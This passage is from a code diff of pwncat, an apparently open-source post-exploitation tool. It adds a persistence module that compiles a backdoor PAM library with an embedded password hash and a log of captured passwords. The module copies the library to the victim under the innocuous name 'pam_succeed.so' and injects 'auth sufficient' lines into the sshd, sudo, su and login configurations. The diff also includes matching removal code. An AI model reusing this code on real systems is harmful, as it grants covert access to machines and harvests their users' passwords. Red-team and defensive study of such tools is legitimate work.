{0x01, 0x02, 0x03, ...}; + password_hash = hashlib.sha1(password.encode("utf-8")).digest() + password_hash = ",".join(hex(c) for c in password_hash) + + # Insert our key + sneaky_source = sneaky_source.replace("__PWNCAT_HASH__", password_hash) + + # Insert the log location for successful passwords + sneaky_source = sneaky_source.replace("__PWNCAT_LOG__", log) + + yield Status("compiling pam module for target") + + try: + # Compile our source for the remote host + lib_path = pwncat.victim.compile( + [io.StringIO(sneaky_source)], + suffix=".so", + cflags=["-shared", "-fPIE"], + ldflags=["-lcrypto"], + ) + except (FileNotFoundError, CompilationError) as exc: + raise PersistError(f"pam: compilation failed: {exc}") + + yield Status("locating pam module installation") + + # Locate the pam_deny.so to know where to place the new module + pam_modules = "/usr/lib/security" + try: + results = ( + pwncat.victim.run( + "find / -name pam_deny.so 2>/dev/null | grep -v 'snap/'" + ) + .strip() + .decode("utf-8") + ) + if results != "": + results = results.split("\n") + pam_modules = os.path.dirname(results[0]) + except FileNotFoundError: + pass + + yield Status(f"pam modules located at {pam_modules}") + + # Ensure the directory exists and is writable + access = pwncat.victim.access(pam_modules) + if (Access.DIRECTORY | Access.WRITE) in access: + # Copy the module to a non-suspicious path + yield Status("copying shared library") + pwncat.victim.env( + ["mv", lib_path, os.path.join(pam_modules, "pam_succeed.so")] + ) + new_line = "auth\tsufficient\tpam_succeed.so\n" + + yield Status("adding pam auth configuration") + + # Add this auth method to the following pam configurations + for config in ["sshd", "sudo", "su", "login"]: + yield Status(f"adding pam auth configuration: {config}") + config = os.path.join("/etc/pam.d", config) + try: + # Read the original content + with pwncat.victim.open(config, "r") as filp: + content = filp.readlines() + except (PermissionError, FileNotFoundError): + continue + + # We need to know if there is a rootok line. If there is, + # we should add our line after it to ensure that rootok still + # works. + contains_rootok = any("pam_rootok" in line for line in content) + + # Add this auth statement before the first auth statement + for i, line in enumerate(content): + # We either insert after the rootok line or before the first + # auth line, depending on if rootok is present + if contains_rootok and "pam_rootok" in line: + content.insert(i + 1, new_line) + elif not contains_rootok and line.startswith("auth"): + content.insert(i, new_line) + break + else: + content.append(new_line) + + content = "".join(content) + + try: + with pwncat.victim.open(config, "w", length=len(content)) as filp: + filp.write(content) + except (PermissionError, FileNotFoundError): + continue + + pwncat.victim.tamper.created_file(log) + + def remove(self, **unused): + """ Remove this module """ + + try: + + # Locate the pam_deny.so to know where to place the new module + pam_modules = "/usr/lib/security" + + yield Status("locating pam modules") + + results = ( + pwncat.victim.run( + "find / -name pam_deny.so 2>/dev/null | grep -v 'snap/'" + ) + .strip() + .decode("utf-8") + ) + if results != "": + results = results.split("\n") + pam_modules = os.path.dirname(results[0]) + + yield Status(f"pam modules located at {pam_modules}") + + # Ensure the directory exists and is writable + access = pwncat.victim.access(pam_modules) + if (Access.DIRECTORY | Access.WRITE) in access: + # Remove the the module + pwncat.victim.env( + ["rm", "-f", os.path.join(pam_modules, "pam_succeed.so")] + ) + new_line = "auth\tsufficient\tpam_succeed.so\n" + + # Remove this auth method from the following pam configurations + for config in ["sshd", "sudo", "su", "login"]: + config = os.path.join("/etc/pam.d", config) + try: + with pwncat.victim.open(config, "r") as filp: + content = filp.readlines() + except (PermissionError, FileNotFoundError): + continue + + # Add this auth statement before the first auth statement + content = [line for line in content if line != new_line] + content = "".join(content) + + try: + with pwncat.victim.open( + config, "w", length=len(content) + ) as filp: + filp.write(content) + except (PermissionError, FileNotFoundError): + continue + else: + raise PersistError("insufficient permissions") + except FileNotFoundError as exc: + # Uh-oh, some binary was missing... I'm not sure what to do here... + raise PersistError(f"[red]error[/red]: {exc}") + + def escalate(self, user: str, password: str, log: str) -> bool: + """ Escalate to the given user with this module """ + + def connect(self, user: str, password: str, log: str) -> socket.SocketType: + """ Connect to the victim with this module """ diff --git a/pwncat/remote/victim.py b/pwncat/remote/victim.py index 3f1fc30..37138ca 100644 --- a/pwncat/remote/victim.py +++ b/pwncat/remote/victim.py @@ -1386,7 +1386,7 @@ class Victim: raise PermissionError with self.subprocess( - ["ls", "--color=never", "--all", "-1"], stderr="/dev/null", mode="r" + ["ls", "--color=never", "--all", "-1", path], stderr="/dev/null", mode="r" ) as pipe: for line in pipe: line = line.strip().decode("utf-8") diff --git a/pwncat/tamper.py b/pwncat/tamper.py index 8ba4dd2..8b96c53 100644 --- a/pwncat/tamper.py +++ b/pwncat/tamper.py @@ -158,6 +158,11 @@ class TamperManager: for tracker in pwncat.victim.host.tampers: yield pickle.loads(tracker.data) + def filter(self, base=Tamper): + for tamper in self: + if isinstance(tamper, base): + yield tamper + def __len__(self): return len(pwncat.victim.host.tampers)